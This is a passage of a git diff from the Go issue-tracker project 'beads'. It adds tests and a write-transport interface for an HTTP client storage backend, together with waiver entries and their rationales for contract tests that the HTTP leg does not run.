[]string{"a"}}} + before := req + if _, err := claimer.ClaimNext(t.Context(), req); err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if !reflect.DeepEqual(req, before) { + t.Errorf("the caller's request changed: %+v, want %+v", req, before) + } +} + +// TestDependencyAddRefusesWhatTheWireCannotCarry covers the three request-level +// refusals: the unpublished skip flag, the wire's 100-edge bound (never chunked, +// L16), and the self-dependency the role names its own sentinel for. +func TestDependencyAddRefusesWhatTheWireCannotCarry(t *testing.T) { + edge := issueops.DependencyEdge{IssueID: "bd-1", DependsOnID: "bd-2", Type: issueops.DepBlocks} + + t.Run("SkipPerEdgeCycleCheck", func(t *testing.T) { + w := &stubWire{} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + _, err = editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{ + Actor: "w", Edges: []issueops.DependencyEdge{edge}, SkipPerEdgeCycleCheck: true, + }) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("AddDependencies with the skip flag = %v, want a refusal", err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } + }) + + t.Run("past the wire bound", func(t *testing.T) { + w := &stubWire{added: &apigen.AddDependenciesResponse{}} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + edges := make([]issueops.DependencyEdge, 0, maxAddDependencyEdges+1) + for i := 0; i <= maxAddDependencyEdges; i++ { + edges = append(edges, issueops.DependencyEdge{ + IssueID: "bd-src", DependsOnID: "bd-" + strconv.Itoa(i), Type: issueops.DepBlocks, + }) + } + if _, err := editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{Actor: "w", Edges: edges}); !errors.Is(err, encode.ErrRefused) { + t.Fatalf("AddDependencies with %d edges = %v, want the bound's refusal", len(edges), err) + } + if len(w.calls) != 0 { + t.Errorf("the over-bound request was dialed (%v); chunking is exactly what L16 forbids", w.calls) + } + + // The boundary itself serves. + if _, err := editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{Actor: "w", Edges: edges[:maxAddDependencyEdges]}); err != nil { + t.Fatalf("AddDependencies with exactly %d edges: %v", maxAddDependencyEdges, err) + } + }) + + t.Run("self dependency", func(t *testing.T) { + w := &stubWire{} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + _, err = editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{ + Actor: "w", Edges: []issueops.DependencyEdge{{IssueID: "bd-1", DependsOnID: "bd-1", Type: issueops.DepBlocks}}, + }) + if !errors.Is(err, issueops.ErrSelfDependency) { + t.Fatalf("self-dependency = %v, want ErrSelfDependency", err) + } + }) +} + +// TestDependencyAddEchoesTheServersOrder reads the response back rather than +// re-echoing the request, which is the only way a server that ever answered +// something else would be caught. +func TestDependencyAddEchoesTheServersOrder(t *testing.T) { + w := &stubWire{added: &apigen.AddDependenciesResponse{Added: []apigen.DependencyEdge{ + {IssueId: "bd-1", DependsOnId: "bd-2", Type: "blocks"}, + }}} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + res, err := editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{ + Actor: "w", Edges: []issueops.DependencyEdge{{IssueID: "bd-1", DependsOnID: "bd-2", Type: issueops.DepBlocks}}, + }) + if err != nil { + t.Fatalf("AddDependencies: %v", err) + } + want := []issueops.DependencyEdge{{IssueID: "bd-1", DependsOnID: "bd-2", Type: issueops.DepBlocks}} + if !reflect.DeepEqual(res.Added, want) { + t.Errorf("Added = %+v, want %+v", res.Added, want) + } + if w.lastAdd.Actor != "w" || len(w.lastAdd.Edges) != 1 { + t.Errorf("request body = %+v, want the actor and the one edge", w.lastAdd) + } +} + +// TestMemoryMissesAreResultsNotErrors is the one real translation in the memory +// role: memoryops declares no ErrNotFound on purpose, and the wire spells a miss +// as a 404. Leaking that through would make `bd recall` of an unknown key an +// error where every other backend prints "not found". +func TestMemoryMissesAreResultsNotErrors(t *testing.T) { + t.Run("recall", func(t *testing.T) { + w := &stubWire{errs: []error{issueops.ErrNotFound}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.Recall(t.Context(), memoryops.RecallRequest{Key: "nope"}) + if err != nil { + t.Fatalf("Recall of an absent key = %v, want nil", err) + } + if res.Found || res.Key != "nope" { + t.Errorf("RecallResult = %+v, want Found false with the key echoed", res) + } + }) + + t.Run("forget", func(t *testing.T) { + w := &stubWire{errs: []error{issueops.ErrNotFound}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.Forget(t.Context(), memoryops.ForgetRequest{Key: "nope"}) + if err != nil { + t.Fatalf("Forget of an absent key = %v, want nil", err) + } + if res.Found { + t.Errorf("ForgetResult = %+v, want Found false", res) + } + }) +} + +// TestMemoryRememberDerivesItsKeyServerSide: an omitted key is a different +// request from an empty one, and the derived key comes back in the result. +func TestMemoryRememberDerivesItsKeyServerSide(t *testing.T) { + w := &stubWire{remember: &apigen.RememberedMemory{Key: "derived", Value: "content", Replaced: true}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.Remember(t.Context(), memoryops.RememberRequest{Content: "content"}) + if err != nil { + t.Fatalf("Remember: %v", err) + } + if res.Key != "derived" || !res.Replaced { + t.Errorf("RememberResult = %+v, want the server's derived key and its Replaced", res) + } + + if _, err := memories.Remember(t.Context(), memoryops.RememberRequest{Content: " "}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Remember of blank content = %v, want ErrValidation", err) + } +} + +// TestMemoryListAnswersAnEmptyMapNeverNil: a caller ranges over the answer, and +// "the plane is empty" is not something to spell as an absent one. +func TestMemoryListAnswersAnEmptyMapNeverNil(t *testing.T) { + w := &stubWire{page: &apigen.MemoriesPage{}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.List(t.Context(), memoryops.ListRequest{Search: "Term"}) + if err != nil { + t.Fatalf("List: %v", err) + } + if res.Memories == nil { + t.Error("Memories is nil, want an empty map") + } + // The folding is the role's and happens server-side; sending a lowercased + // term would be a second implementation of a rule that has one. + if w.lastSearch != "Term" { + t.Errorf("search parameter = %q, want the caller's term verbatim", w.lastSearch) + } +} + +// TestWriteAccessorsRefuseWithoutATransport: a build that registered the backend +// without linking a wire client is a wiring fault, and it must be named rather +// than reached as a nil dereference three frames into a role. +func TestWriteAccessorsRefuseWithoutATransport(t *testing.T) { + s := New(testTarget(t), nil, nil) + accessors := map[string]func() error{ + "IssueClaimer": func() error { _, err := s.IssueClaimer(); return err }, + "ReadyClaimer": func() error { _, err := s.ReadyClaimer(); return err }, + "IssueLifecycle": func() error { _, err := s.IssueLifecycle(); return err }, + "DependencyEditor": func() error { _, err := s.DependencyEditor(); return err }, + "Memories": func() error { _, err := s.Memories(); return err }, + "BatchCloser": func() error { _, err := s.BatchCloser(); return err }, + } + for name, open := range accessors { + if err := open(); !errors.Is(err, ErrNoTransport) { + t.Errorf("%s() without a transport = %v, want ErrNoTransport", name, err) + } + } + if err := s.CloseIssue(t.Context(), "bd-1", "", "w", ""); !errors.Is(err, ErrNoTransport) { + t.Errorf("CloseIssue without a transport = %v, want ErrNoTransport", err) + } +} diff --git a/internal/httpclient/writewire.go b/internal/httpclient/writewire.go new file mode 100644 index 000000000..e9b7989bb --- /dev/null +++ b/internal/httpclient/writewire.go @@ -0,0 +1,163 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/writewire.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/url" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// WriteWire is the transport surface the WRITE roles dispatch through: the six +// mutating v0 operations plus the two memory reads that belong to the same +// role, plus the ready listing the composed ClaimNext is built from. +// +// It is a separate interface from WireClient's own method rather than a +// widening of it because a role bead should be able to state exactly what +// transport it needs. WireClient embeds it, so a store still holds one +// transport and the compiler still proves a build linked one. +// +// Every method here takes and returns apigen types. That is not laziness about +// a domain type: apigen.Issue IS internal/types.Issue (a Go type alias pinned +// by the document), so there is no second wire struct to convert through, and +// minting one would be the field-by-field copy the pinning exists to prevent. +type WriteWire interface { + ClaimIssue(ctx context.Context, id string, body apigen.ClaimRequest) (*apigen.ClaimResponse, error) + // ClaimNextIssue takes the next ready issue as one act. It is the only + // method here that names no resource AND carries a query: the filter that + // chooses the row is listReadyWork's vocabulary spelled as a query string, + // and the actor is the whole body. + ClaimNextIssue(ctx context.Context, params url.Values, body apigen.ClaimNextRequest) (*apigen.ClaimNextResponse, error) + // CreateIssue creates ONE issue and answers the row as stored. It names no + // id: the request may name one and may not, and the server mints it when + // the request does not. + CreateIssue(ctx context.Context, body apigen.CreateIssueRequest) (*apigen.Issue, error) + CloseIssue(ctx context.Context, id string, body apigen.CloseIssueRequest) (*apigen.CloseIssueResponse, error) + ReopenIssue(ctx context.Context, id string, body apigen.ReopenIssueRequest) (*apigen.ReopenIssueResponse, error) + // ReleaseIssue gives back the claim on one issue. Its response carries the + // post-release row version BESIDE the row rather than on it, because + // types.Issue.RowVersion is `json:"-"`; the role stitches the two together. + ReleaseIssue(ctx context.Context, id string, body apigen.ReleaseIssueRequest) (*apigen.ReleaseIssueResponse, error) + // AddComment appends one comment to the thread an issue owns, and is the one + // write here whose path names a SUB-RESOURCE collection rather than the + // issue. What comes back is the member the POST created — the stored comment, + // with the id the insert minted and created_at at the column's precision. + AddComment(ctx context.Context, id string, body apigen.AddCommentRequest) (*apigen.Comment, error) + // UpdateIssue takes the patch as a DOCUMENT rather than a struct: on this + // operation a member's presence is the signal to write it and an explicit + // null on one of the four nullable members is the clear, and no struct of + // pointers with `omitempty` can express both. The builder is + // encodeIssuePatch; this layer marshals what it decided. + // + // The guard trio travels beside it as wire.UpdateGuards rather than inside + // the document — the server reads them off the body's top level — and is a + // typed struct because it is the one part of this request whose ABSENT and + // ZERO states are different requests. The claim and the three force + // overrides travel the same way, as wire.UpdateFlags. + UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards wire.UpdateGuards, flags wire.UpdateFlags) (*apigen.UpdateIssueResponse, error) + + // CompareAndSetMetadata is the one write on this seam whose REFUSAL is a + // 200: a lost race answers `swapped: false` with the value that refused it, + // so the verdict is a member of a success body rather than an error, and + // the role reads it there. + CompareAndSetMetadata(ctx context.Context, id string, body apigen.CompareAndSetMetadataRequest) (*apigen.CompareAndSetMetadataResponse, error) + + AddDependencies(ctx context.Context, body apigen.AddDependenciesRequest) (*apigen.AddDependenciesResponse, error) + RemoveDependency(ctx context.Context, body apigen.RemoveDependencyRequest) (*apigen.RemoveDependencyResponse, error) + + // The three collection-level custom methods. They name no resource in the + // path — a sweep describes a set, a delete and a batch create carry their + // ids and their items in the body — so unlike the four above they take no + // id argument at all. + SweepIssues(ctx context.Context, body apigen.SweepRequest) (*apigen.SweepResult, error) + DeleteIssues(ctx context.Context, body apigen.DeleteIssuesRequest) (*apigen.DeleteIssuesResult, error) + BatchCreateIssues(ctx context.Context, body apigen.BatchCreateRequest) (*apigen.BatchCreateResponse, error) + + // ApplyBatch applies an ordered, heterogeneous plan as one transaction or + // not at all. Its body is wire.ApplyBatchRequest rather than apigen's for + // UpdateIssue's reason and in one place only: an update item's patch is a + // DOCUMENT, because presence is the signal there and an explicit null on + // one of the four nullable members is the clear. Everything else in the + // body is the generated type. + // + // It has no per-item outcome array on a refusal, unlike batchClose: the + // request is all or nothing, so the offender travels in the problem + // document's item_* members and the role rebuilds *issueops.ItemError from + // them. + ApplyBatch(ctx context.Context, body wire.ApplyBatchRequest) (*apigen.ApplyBatchResponse, error) + + // BatchCloseIssues closes a set of issues as one act. Its response carries + // per-item outcomes inside a 200, which the BatchCloser role walks; the top + // level classifies through the shared problem mapper like every other write. + BatchCloseIssues(ctx context.Context, body apigen.BatchCloseRequest) (*apigen.BatchCloseResponse, error) + + RememberMemory(ctx context.Context, body apigen.RememberRequest) (*apigen.RememberedMemory, error) + RecallMemory(ctx context.Context, key string) (*apigen.Memory, error) + ForgetMemory(ctx context.Context, key string) (*apigen.Memory, error) + ListMemories(ctx context.Context, search string) (*apigen.MemoriesPage, error) + + ListReadyWork(ctx context.Context, params url.Values) (*apigen.ReadyPage, error) +} + +// roleWire narrows the store's transport for a role that is about to dispatch. +// +// A store built with no transport is a build-wiring fault, not a user's, and it +// must not surface as a nil-pointer panic three frames into a role. Every role +// accessor below calls this first, so the fault is named once. +func (s *Store) roleWire(accessor string) (WriteWire, error) { + if s == nil || s.wire == nil { + return nil, fmt.Errorf("%w: %s cannot dial %s", ErrNoTransport, accessor, s.target) + } + return s.wire, nil +} + +// invalid builds a deterministic request-validation failure. +// +// Every role's doc promises these match issueops.ErrValidation, and every one of +// them is raised BEFORE the dial. That ordering is the point: a request the role +// contract calls invalid must not reach a shared server as a 400 whose problem +// body a future server release might spell differently, and it must not consume +// a write slot to be told what the client already knew. +func invalid(format string, args ...any) error { + return fmt.Errorf("%s: %w", fmt.Sprintf(format, args...), issueops.ErrValidation) +} + +// refuse raises the typed refuse-not-drop failure for a request member the v0 +// wire has no place for, citing the divergence-ledger row that says why. +// +// Raising BY LEDGER ID rather than by string is what makes a refusal without a +// row impossible: RowByID panics on an id the ledger does not carry, so a +// forgotten entry is a loud programming error rather than a refusal with no +// vocabulary for the taxonomy to render. +func refuse(op encode.Op, ledgerID string) error { + return &encode.RefusedError{Op: op, Row: encode.RowByID(ledgerID)} +} + +// requireActor is the actor rule every write on this surface shares. The server +// applies its own (trim, 256 bytes, no control characters) and answers a 400; +// this is only the emptiness half, which every role's own contract states. +func requireActor(actor string) error { + if strings.TrimSpace(actor) == "" { + return invalid("actor is required") + } + return nil +} + +// requireID refuses an empty id before it can become a path. +// +// Without it an empty id would join to the COLLECTION path and turn an +// operation on one resource into an operation on all of them. escapeSegment +// refuses it too, but it refuses with a transport error where the role +// contracts promise ErrValidation. +func requireID(kind, id string) error { + if strings.TrimSpace(id) == "" { + return invalid("%s is required", kind) + } + return nil +} diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index 394365aea..e8ed03a5c 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -108,6 +108,7 @@ go_test( data = [ ":tree_go_srcs", "//backend/conformance:go_srcs", + "//internal/httpclient:go_srcs", ], embed = [":storage"], deps = [ @@ -169,6 +170,7 @@ filegroup( "//internal/storage/sqlclass:go_srcs", "//internal/storage/sqlcount:go_srcs", "//internal/storage/storagecontract:go_srcs", + "//internal/storage/unsupportedgen:go_srcs", "//internal/storage/uow:go_srcs", "//internal/storage/versioncontrolops:go_srcs", ], diff --git a/internal/storage/backends/backends.go b/internal/storage/backends/backends.go index 3c4ba0fcf..a8360027d 100644 --- a/internal/storage/backends/backends.go +++ b/internal/storage/backends/backends.go @@ -131,6 +131,14 @@ type Backend struct { Open func(ctx context.Context, beadsDir string) (storage.DoltStorage, error) // OpenReadOnly opens the workspace for a read-only command. + // + // cmd/bd opens two postures through this one hook: the root pre-run's + // CLASSIFIED read commands, which may still write (`bd ready --claim` + // claims through the store it returns, as the built-in embedded arm's + // OpenForReadOnlyCommand allows), and the non-mutating opens — previews, + // cross-repo hydration, doctor — which must not. A backend cannot tell the + // two apart here, so a caller must not assume the store refuses writes: + // the http client backend answers with a writable one and says so. OpenReadOnly func(ctx context.Context, beadsDir string) (storage.DoltStorage, error) // WorkspaceIsBeadsDir means metadata.json and the remote store are enough diff --git a/internal/storage/contract_leg_registry_test.go b/internal/storage/contract_leg_registry_test.go index 895264bfd..8bd0d99d8 100644 --- a/internal/storage/contract_leg_registry_test.go +++ b/internal/storage/contract_leg_registry_test.go @@ -49,6 +49,27 @@ func init() { registerContractLeg(contractLeg{name: "dolt", wiringRoot: "internal/storage/dolt"}) registerContractLeg(contractLeg{name: "embeddeddolt", wiringRoot: "internal/storage/embeddeddolt"}) registerContractLeg(contractLeg{name: "uow", wiringRoot: "internal/storage/uow"}) + registerContractLeg(contractLeg{ + name: "http", + wiringRoot: "internal/httpclient", + adopting: "S3 wires every read role (IssueReader, Counter, ReadyCounter, GraphCounter, EdgeReader, " + + "Relations, BlockingAnnotator, TreeWalker, CycleDetector, Querier, StatsReporter, WorkspaceConfig, " + + "Memories, Journal minus watch) plus MetadataCAS and DependencyEditor in full; the HTTP leg's own " + + "CycleDetector.IncludeTracks gap, the nine Bootstrapper cases " + + "(internal/httpclient/accessors.go names Bootstrapper PERMANENTLY UNSERVABLE — no wire operation " + + "and none coming — see bootstrapperPermanentlyUnservableWaiverReason), the four Importer cases " + + "(uow is Importer's one accessor, same as the other two legs), and the twenty-two " + + "RetentionFixture/EpochFixture/CrossRecordInvariantFixture cases (raw storage bookkeeping with no " + + "publicops role behind them — see retentionEpochNoRoleWaiverReason and " + + "crossRecordInvariantNoRoleWaiverReason) are all named waivers, not part of this ceiling. What is " + + "still counted here is write-role and internal-plumbing work S4 and later slices wire and ratchet " + + "down one tranche at a time: lifecycle writes (IssueOperationsUpdate, LifecycleUpdate), " + + "DualWrite's Phase-2 history mechanism, Sweeper, VersionReconciler, InitVerifier, and " + + "ExpectedRevision/Refusal. VersionReconciler and InitVerifier are named PERMANENTLY UNSERVABLE by " + + "the same accessors.go comment that covers Bootstrapper, but moving them to a named waiver is out " + + "of scope for the change that lowered this ceiling to 42 and is left for their own reviewed change", + adoptionCeiling: 42, + }) } // contractLeg is one registered backend leg: what the lock calls it, where its diff --git a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go index 108cd4bd9..5fab44fa9 100644 --- a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go @@ -62,6 +62,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ResultsAreHydratedPostStateSnapshots", func(t *testing.T) { conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, ctx, fixture) }) + t.Run("ResultsCarryThePostWriteRowVersion", func(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, ctx, fixture) + }) t.Run("CloseAndReopenRequireActorAndIssueID", func(t *testing.T) { conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, ctx, fixture) }) diff --git a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go index 1dc876f99..153b33232 100644 --- a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go @@ -65,6 +65,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ResultsAreHydratedPostStateSnapshots", func(t *testing.T) { conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, ctx, fixture) }) + t.Run("ResultsCarryThePostWriteRowVersion", func(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, ctx, fixture) + }) t.Run("CloseAndReopenRequireActorAndIssueID", func(t *testing.T) { conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, ctx, fixture) }) diff --git a/internal/storage/leg_contract_wiring_test.go b/internal/storage/leg_contract_wiring_test.go index 3da2b632e..398e6b19f 100644 --- a/internal/storage/leg_contract_wiring_test.go +++ b/internal/storage/leg_contract_wiring_test.go @@ -56,8 +56,121 @@ func init() { "RunIssueOperationsCreateReverseNonBlockingStagesConcreteTables": stagingWaiverReason, "RunIssueOperationsCreateParentChildRecomputesWaitsForClosure": stagingWaiverReason, }) + registerContractLegWaivers("http", map[string]string{ + "RunCycleDetectorIncludeTracksFindsTheMoleculeRootShape": cycleTracksWireGapWaiverReason, + "RunCycleDetectorIncludeTracksIgnoresAPureTracksLoop": cycleTracksWireGapWaiverReason, + "RunCycleDetectorIncludeTracksWalksEachEdgeInItsStoredDirection": cycleTracksWireGapWaiverReason, + + "RunBootstrapperIdentifiesAFreshSubstrate": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperLeavesTheSubstrateUntouchedWhenItCannotComplete": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRecordsExactlyOneHistoryEntry": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRecordsNoHistoryEntryOfItsOwn": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesASubstrateCarryingOnlyAPrefix": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesASubstrateCarryingOnlyAProjectID": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesAnIdentifiedSubstrate": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesAnInvalidRequestWithoutWriting": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperStoresThePrefixWithoutItsTrailingHyphen": bootstrapperPermanentlyUnservableWaiverReason, + + "RunImporterRejectsAStaleRowAndNamesIt": importerOneAccessorWaiverReason, + "RunImporterReportsTheAbsentTargetItDroppedOnce": importerOneAccessorWaiverReason, + "RunImporterWiresTheCrossPlaneEdgeBetweenItsRows": importerOneAccessorWaiverReason, + "RunImporterReportsTheCycleEdgeItDropped": importerOneAccessorWaiverReason, + + "RunADestructiveOperationEnumeratesAffectedAddressesFirst": retentionEpochNoRoleWaiverReason, + "RunAHoldPreventsRemovalAndReportsInRetainedBounds": retentionEpochNoRoleWaiverReason, + "RunAStoreThatRemovesStateStillAnswersGoneDurably": retentionEpochNoRoleWaiverReason, + "RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone": retentionEpochNoRoleWaiverReason, + "RunAnAddressNeverResolvesToADifferentState": retentionEpochNoRoleWaiverReason, + "RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange": retentionEpochNoRoleWaiverReason, + "RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed": retentionEpochNoRoleWaiverReason, + "RunErasureMintsACorrectedVersionRatherThanEditingInPlace": retentionEpochNoRoleWaiverReason, + "RunEveryRetentionAnswerNamesItsProducingStore": retentionEpochNoRoleWaiverReason, + "RunForcingAHeldRemovalRecordsWhoWhenWhy": retentionEpochNoRoleWaiverReason, + "RunGoneIsDistinguishableFromUnknown": retentionEpochNoRoleWaiverReason, + "RunRemovalLeavesTheAddressAbleToAnswer": retentionEpochNoRoleWaiverReason, + "RunRemovalNeverReassignsASurvivingAddress": retentionEpochNoRoleWaiverReason, + "RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly": retentionEpochNoRoleWaiverReason, + "RunRemovalReportsTheSurvivingRetainedWindow": retentionEpochNoRoleWaiverReason, + + "RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation": crossRecordInvariantNoRoleWaiverReason, + "RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards": crossRecordInvariantNoRoleWaiverReason, + "RunInvariantRefusalNamesTheViolatedInvariant": crossRecordInvariantNoRoleWaiverReason, + "RunLeaseAcquisitionRecordsNoHistoryEntry": crossRecordInvariantNoRoleWaiverReason, + "RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, + "RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, + "RunStoreInvariantTransactionScopesExactlyTheSpanningRecords": crossRecordInvariantNoRoleWaiverReason, + }) } +// cycleTracksWireGapWaiverReason covers the one CycleDetector widening option +// the HTTP wire does not carry at all. +// +// issueops.DetectCyclesRequest.IncludeTracks is a WIDENING field consumed +// today only by `bd dep cycles` in-process. internal/httpapi/cycles.go calls +// DetectCycles with a bare issueops.DetectCyclesRequest{} — it decodes no +// query parameter for it — and internal/httpclient's httpCycleDetector reads +// the field and, finding no wire parameter to carry it, REFUSES the request +// with a typed, ledger-cited error (encode.RefusedError via refuse(), citing +// "L-cycles-tracks") rather than silently answering the narrower default +// walk. Neither side of the wire has any plumbing for this field, so the +// three IncludeTracks cases cannot be satisfied over HTTP — the client fails +// loudly instead of wiring a narrower answer, which is why these three remain +// unwired rather than run-and-skipped. +// +// No shipped slice adds a query parameter, spec capability token, or +// handshake entry for this option — see "L-cycles-tracks" in the in-repo +// divergence ledger, engdocs/design/http-divergence-ledger.md, which records +// it as a refuse row rather than a wired one. Closing this gap is a new +// slice — a query parameter plus spec/capability plumbing on both ends — not +// a missing test line, so the waiver stays until that slice exists. +const cycleTracksWireGapWaiverReason = "issueops.DetectCyclesRequest.IncludeTracks has no wire plumbing on " + + "either side of internal/httpapi or internal/httpclient today (cycles.go always calls DetectCycles with a " + + "zero-value request; the client's DetectCycles refuses the request via a typed, ledger-cited error — see " + + "\"L-cycles-tracks\" — rather than silently answering the narrower walk); no slice through S13 adds a wire " + + "parameter for it, so closing this is a new, not-yet-numbered slice rather than a missing test line" + +// retentionEpochNoRoleWaiverReason covers the fifteen RetentionFixture and +// EpochFixture cases: PERMANENTLY unservable over HTTP, not merely unwired +// yet. +// +// Both fixtures are RAW STORAGE HOOKS, not a publicops role: RetentionFixture +// and EpochFixture (backend/conformance/retention_epoch_contract.go) carry no +// publicops.XXX field at all, only closures like Resolve, Remove, Hold, +// Erase, Mint, CurrentEpoch, and BumpEpoch that reach past every role +// straight at a backend's own address/epoch/retention bookkeeping — the same +// bookkeeping a storage engine keeps about itself, not a capability it was +// ever going to publish to a caller. dolt, embeddeddolt, and uow all wire +// this contract because all three ARE storage engines with that bookkeeping +// to show; the http leg is a REMOTE CLIENT of one, with no address table, +// epoch counter, or retention window of its own to report — there is nothing +// behind this door for a wire operation to open onto, now or in a later +// slice, unless some future design gives retention/epoch state its own +// publicops role and wire surface. That would be a new role, not a missing +// test line, which is why this is a named waiver rather than a ceiling +// entry. +const retentionEpochNoRoleWaiverReason = "RetentionFixture and EpochFixture carry raw address/epoch/retention " + + "storage hooks (Resolve, Remove, Hold, Erase, Mint, CurrentEpoch, BumpEpoch, ...) with no publicops role " + + "behind them; dolt, embeddeddolt and uow wire this contract because they ARE the storage engine this " + + "bookkeeping belongs to, and the http leg is a remote client with no such bookkeeping of its own to report " + + "— there is no role or wire surface for this to ever route through unless one is designed from scratch" + +// crossRecordInvariantNoRoleWaiverReason covers the seven CrossRecordInvariantFixture +// cases, for the same shape of reason as retentionEpochNoRoleWaiverReason. +// +// CrossRecordInvariantFixture (backend/conformance/cross_record_invariant_contract.go) +// is likewise raw hooks with no publicops field — GuardedWrite, +// EnforceCrossRecordInvariant, AcquireAdvisoryLease, +// CountHistoryForSubject, MemoryKeyAliasWrite, GraphEdgeWrite — that assert a +// store's OWN invariant enforcement spanning more than one record at once, +// the kind of guarantee a storage engine's own transaction boundary gives, +// not a wire operation it exposes. dolt, embeddeddolt and uow wire it as the +// engines that hold that boundary; the http leg has none of its own to test. +const crossRecordInvariantNoRoleWaiverReason = "CrossRecordInvariantFixture carries raw per-record/cross-record " + + "storage hooks (GuardedWrite, EnforceCrossRecordInvariant, AcquireAdvisoryLease, CountHistoryForSubject, " + + "MemoryKeyAliasWrite, GraphEdgeWrite) with no publicops role behind them, asserting a storage engine's own " + + "transaction boundary rather than something exposed over a wire; the http leg has no transaction boundary " + + "of its own for this to test" + // bootstrapSplitWaiverReason covers the one pair of entrypoints that is a // RATIFIED PER-LEG SPLIT rather than a gap. // @@ -78,6 +191,24 @@ const bootstrapSplitWaiverReason = "the bootstrap history contracts are a ratifi "legs pin zero because `bd init` commits the identity itself, the unit-of-work leg pins one because the " + "proxied route has no other commit point; each leg wires its own half and the other half is not its promise" +// bootstrapperPermanentlyUnservableWaiverReason covers the nine Bootstrapper +// contracts: PERMANENTLY unservable over http, not merely unwired yet. +// +// internal/httpclient/accessors.go names Bootstrapper (alongside VersionReconciler +// and InitVerifier) as one of the THREE accessors still on the generated +// refusing shell for one reason: "PERMANENTLY UNSERVABLE — no wire operation +// and none coming." `bd init` runs its substrate-identification walk entirely +// client-side before any server exists to dial, so there is no v0 operation for +// an http accessor to bind to and none is coming — closing this gap is not a +// missing line, it is a wire operation nobody has designed. This waiver covers +// Bootstrapper only; VersionReconciler and InitVerifier share the same fate in +// the same comment but are out of scope for the change that added this waiver +// and remain counted against the ceiling until their own reviewed change +// names them too. +const bootstrapperPermanentlyUnservableWaiverReason = "internal/httpclient/accessors.go names Bootstrapper " + + "PERMANENTLY UNSERVABLE over http — no wire operation and none coming — because `bd init` resolves the " + + "substrate identity entirely client-side, before any server exists to dial" + // stagingWaiverReason is why the two staging contracts stop at the two // store-backed legs. // @@ -367,6 +498,27 @@ func finalParamTypeName(fn *ast.FuncDecl) string { // file naming every entrypoint would otherwise satisfy this lock with source no // build compiles. Ordinary constraints — cgo, integration — are counted, // because a contract wired behind one is still wired. +// +// A REFERENCE IS NOT A PASS, and that gap is deliberate rather than a hole in +// this check. Several contracts (RetentionFixture, EpochFixture, BootstrapperFixture, +// VersionReconcilerFixture, ...) are written so a nil hook makes the case +// t.Skip loudly, naming the hook, rather than asserting nothing silently — +// see each fixture's own doc comment. That lets a leg wire the ENTRYPOINT +// (call conformance.RunX, satisfying this static check) while leaving some +// or all of its hooks nil, which runs for real as a skip, not a pass. This +// check cannot see past the call to know which hooks a wiring supplies, so +// it counts the reference as wired either way — a leg that did this would +// read as adopted here while its own `go test -v` output says SKIP. That +// divergence is this package's to prevent by review, the same way +// 